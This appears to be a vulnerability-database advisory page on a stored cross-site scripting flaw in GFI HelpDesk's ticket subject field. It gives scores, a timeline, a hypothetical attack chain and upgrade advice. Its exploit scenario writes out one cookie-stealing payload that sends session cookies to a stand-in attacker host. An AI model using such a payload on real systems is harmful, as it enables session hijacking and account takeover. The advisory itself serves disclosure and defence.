Skip to main content

Helpdesk CVE-2026-23758

| EUVD-2026-23910 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-20 VulnCheck GHSA-rf6c-2qc7-c945
6.4
CVSS 4.0 · NVD
Share

Severity by source

NVD PRIMARY
6.4 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
P
Scope
X

Lifecycle Timeline

6
Analysis Generated
Apr 20, 2026 - 18:28 vuln.today
CVSS changed
Apr 20, 2026 - 18:22 NVD
5.1 (MEDIUM) 6.4 (MEDIUM)
EUVD ID Assigned
Apr 20, 2026 - 18:00 euvd
EUVD-2026-23910
Analysis Generated
Apr 20, 2026 - 18:00 vuln.today
Patch released
Apr 20, 2026 - 18:00 nvd
Patch available
CVE Published
Apr 20, 2026 - 17:30 nvd
MEDIUM 6.4

DescriptionCVE.org

GFI HelpDesk before 4.99.9 contains a stored cross-site scripting vulnerability in the ticket subject field that allows authenticated staff members to inject malicious JavaScript by manipulating the editsubject POST parameter. Attackers can inject XSS payloads through inadequate sanitization in Controller_Ticket.EditSubmit() that bypass the incomplete SanitizeForXSS() method to execute arbitrary JavaScript when other staff members or administrators view the affected ticket.

AnalysisAI

GFI HelpDesk before version 4.99.9 allows authenticated staff members to inject persistent JavaScript into ticket subject fields via inadequate sanitization in the editsubject POST parameter, enabling arbitrary script execution when other staff or administrators view affected tickets. The vulnerability impacts confidentiality and integrity within the application's scope, with exploitation confirmed possible but requiring valid staff credentials and user interaction (viewing the malicious ticket). …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Compromise or obtain staff credentials
Delivery
Access helpdesk and create ticket
Exploit
Edit ticket subject with XSS payload
Install
Bypass SanitizeForXSS() method
C2
Inject malicious JavaScript
Execute
Target staff/admin views ticket
Impact
Script executes in victim's browser
Step 8
Steal session or escalate privileges

Vulnerability AssessmentAI

Exploitation Exploitation requires an authenticated staff member account with permission to edit ticket subject fields (the standard GFI HelpDesk staff role). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment This vulnerability presents moderate real-world risk constrained by multiple factors. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario A disgruntled helpdesk staff member with valid credentials creates a support ticket, then edits the subject line to inject a JavaScript payload such as '<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">'. When an administrator reviews the ticket, the payload executes in the administrator's browser context, stealing the administrator's session cookie and allowing the attacker to impersonate the administrator account. …
Remediation Upgrade GFI HelpDesk to version 4.99.9 or later immediately to obtain the vendor-released patch that corrects the inadequate sanitization in the editsubject parameter handling. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-23758 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy